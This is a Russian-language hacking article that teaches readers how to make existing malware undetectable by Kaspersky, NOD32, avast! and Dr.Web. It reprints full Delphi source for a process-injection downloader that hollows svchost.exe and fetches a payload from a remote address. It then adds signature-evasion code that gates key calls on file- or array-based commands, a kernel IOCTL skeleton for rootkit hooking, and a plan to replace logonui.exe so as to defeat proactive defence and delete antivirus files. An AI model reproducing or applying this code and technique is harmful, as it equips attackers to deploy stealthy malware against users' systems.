Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.
Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.
Для начала возьмем готовый исходник вредоносной проги. Так как мне очень подуше сайт www.wasm.ru, то готовый исходник я взял именно оттуда, это исходник Ms-Rem’a для обхода Agnitum Outpost Firewall Pro. В первичном виде он успешно палится всеми тремя антивирусами.
Вот его код:
program FireFuck;
uses Windows, WinSock;
{$IMAGEBASE $13140000}
{ Определение положения подстроки в строке } Function MyPos(Substr, Str: PChar): dword; stdcall; asm mov eax, Substr mov edx, str test eax, eax je @noWork test edx, edx je @stringEmpty push ebx push esi push edi mov esi, eax mov edi, edx push eax push edx call lstrlen mov ecx, eax pop eax push edi push eax push eax call lstrlen mov edx, eax pop eax dec edx js @fail mov al, [esi] inc esi sub ecx, edx jle @fail
@loop: repne scasb jne @fail mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi je @found mov ecx, ebx jmp @loop
@fail: pop edx xor eax, eax jmp @exit
@stringEmpty: xor eax, eax jmp @noWork
@found: pop edx mov eax, edi sub eax, edx
@exit: pop edi pop esi pop ebx
@noWork: end;
{ Копирование строк } Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall; asm mov eax, Count inc eax push eax push LPTR call LocalAlloc mov edi, eax mov ecx, Count mov esi, S add esi, Index dec esi rep movsb end;
{ Копирование участка памяти } procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD); asm push ecx push esi push edi mov esi, Source mov edi, Destination mov ecx, Length rep movsb pop edi pop esi pop ecx end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer; var Buffer: pointer; BufferLength: dword; BufferUsed: dword; Bytes: integer; Header: PChar; Site: PChar; URL: PChar; FSocket: integer; SockAddrIn: TSockAddrIn; HostEnt: PHostEnt; Str: PChar; WSAData: TWSAData; hHeap: dword; begin Result := nil; hHeap := GetProcessHeap(); WSAStartup(257, WSAData); Site := MyCopy(Address, 1, MyPos('/', Address) - 1); URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1); Buffer := HeapAlloc(hHeap, 0, 1024); try BufferLength := 1024; BufferUsed := 0; FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons(80); SockAddrIn.sin_addr.s_addr := inet_addr(Site); if SockAddrIn.sin_addr.s_addr = INADDR_NONE then begin HostEnt := gethostbyname(Site); if HostEnt = nil then Exit; SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^); end; if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit; Str := HeapAlloc(hHeap, 0, 1024); lstrcpy(Str, 'GET '); lstrcat(Str, URL); lstrcat(Str, ' HTTP/1.0'#10#13'Host: '); lstrcat(Str, Site); lstrcat(Str, #13#10'Connection: close'#13#10#13#10); send(FSocket, Str^, lstrlen(Str), 0); HeapFree(hHeap, 0, Str); repeat if BufferLength - BufferUsed < 1024 then begin Inc(BufferLength, 1024); Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength); end; Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0); if Bytes > 0 then Inc(BufferUsed, Bytes); until (Bytes = 0) or (Bytes = SOCKET_ERROR); Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3); ReturnSize := BufferUsed - lstrlen(header); Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if Result = nil then Exit; MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize); finally HeapFree(hHeap, 0, Buffer); end; end;
{ процедура выполняющаяся в контексте доверенного приложения } Procedure Download(); stdcall; const URL : PChar = '192.168.0.58/1.mp3'; var Buff: pointer; Size: dword; Bytes: dword; dFile: dword; begin LoadLibrary('wsock32.dll'); Buff := DownloadFile(URL, Size); dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0); WriteFile(dFile, Buff^, Size, Bytes, nil); CloseHandle(dFile); ExitProcess(0); end;
var St: TStartupInfo; Pr: TProcessInformation; InjectSize: dword; Code: pointer; Injected: pointer; BytesWritten: dword; Context: _CONTEXT; t:textfile; cmd:string; begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_SHOW; // запускаем процесс, которому разрешено лезть на 80 порт CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); Code := pointer(GetModuleHandle(nil)); InjectSize := PImageOptionalHeader(pointer(integer(Code) + PImageDosHeader(Code)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; // выделяем память в процессе Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); // внедряем код WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten); // изменяем контекст нити Context.ContextFlags := CONTEXT_FULL; GetThreadContext(Pr.hThread, Context); Context.Eip := dword(@Download); SetThreadContext(Pr.hThread, Context); // запускаем процесс ResumeThread(Pr.hThread); end;
Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.
Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:
AssignFile(t,'1.txt'); reset(t); readln(t,cmd); CloseFile(t); if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:
Procedure MyVirusStart(str:string); Var cmd:string;t:textfile; Begin AssignFile(t,'1.txt'); reset(t); readln(t,cmd); CloseFile(t); if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); End;
А код модифицируем, вместо
CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
Напишем вот так:
AssignFile(t,'1.txt'); reset(t); readln(t,cmd); CloseFile(t); if cmd = '2' then MyVirusStart;
И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.
Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.
Все это работает благодаря тому, что вирус разбивается на абсолютно безвредные части и то, что он будет делать напрямую зависит от команд в файле, без него вирус превращается в безвредную программку. Учитывая еще и то, что современным антивирусам видимо влом проверять весь файл вируса целиком и полностью - все работает «как часы», а если еще и изменять файл во время работы вируса (некий полиморфизм получается), то все антивирусы будут нервно курить в сторонке )). Чем на большее количество частей разделен вирус (число используемых команд) - тем эффективнее метод. Хотя (как показала практика) вполне хватает всего лишь 2 раза вставить подобный код в исходник и получается приличный результат – при проверке нескольких переделанных описанным выше способом исходников сервисом VirusTotal выяснилось, что если всего в 2-х местах исходника вставить предлагаемый код, то ни Dr.Web, ни NOD32, ни каспер больше его не палят.
Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.
Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:
// генерируем команду и кладем ее в рандомую ячейку массива а procedure writecmd; var i,c:integer; begin for c:=0 to 10 do a[c]:=0; i:=random(900); i:=i+1; a[random(11)]:=i; // а – массив end;
А в коде вируса вставляем следующие строчки
for j:=0 to 10 do if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); // здесь вызываем главное действие вируса // в данном исходнике это CreateProcess
Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).
Что же касается ядра Windows, то защита руткитов от палева антивирусов, вооружившихся только что обновленными базами, происходит аналогичным образом, только «указания» вирусу можно давать при помощи IOCTL команд, а можно для уверенности передавать IOCTL командами также адреса перехватываемых функций (в случае с SDT можно передавать код функции в таблице).
Итак, что нам нужно сделать:
- Основную операцию записи в память перенесем в отдельную функцию;
- Создадим обработчик IOCTL команд;
- Свяжем IOCTL команду с процедурой записи в память(модификации кода).
Для начала создадим процедуру, модифицирующую код ядра:
// Здесь формируется код IOCTL в драйвере #define TESTDRV_TYPE 40000 #define IOCTL_IOPM_FUNCTION \ CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
NTSTATUS WriteKernelMemory() { // Здесь устанавливаем перехват на какую-нибудь функцию ... } NTSTATUS OnDeviceControlHandle( IN PDEVICE_OBJECT DeviceObject, IN PIRP pIrp ) { int i; I = 9; I = i+177; NTSTATUS ntStatus = STATUS_SUCCESS; PIO_STACK_LOCATION irpSp;
// Длина входного буфера ULONG inBufLength; // Длина выходного буфера ULONG outBufLength; // Указатель на входной и выходной буфер PULONG ioBuffer;
// DbgPrint("OnDeviceControlHandle");
// Получаем указатель на драйверный стек irpSp= IoGetCurrentIrpStackLocation(pIrp);
// Входной и выходной буфера и их длины inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer; // собственно обработка команд switch ( irpSp->Parameters.DeviceIoControl.IoControlCode ) { // обработка кода функции IOCTL_IOPM_FUNCTION case IOCTL_IOPM_FUNCTION: { If(i!=0) WriteKernelMemory; break; } }
// Завершение рабочей процедуры pIrp->IoStatus.Information = inBufLength; /* Размер выходного буфера */ pIrp->IoStatus.Status = ntStatus; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); return ntStatus; }
Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.
Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.
Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.
Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!
Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.
|